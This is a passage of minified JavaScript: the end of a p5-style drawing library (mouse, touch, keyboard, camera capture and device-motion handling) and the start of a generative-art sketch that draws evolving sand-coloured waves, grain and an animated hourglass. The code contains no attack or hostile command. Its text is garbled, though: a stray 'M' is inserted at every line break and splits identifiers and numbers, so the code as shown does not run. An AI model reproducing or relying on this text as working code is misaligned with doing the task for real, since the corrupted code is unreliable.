xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
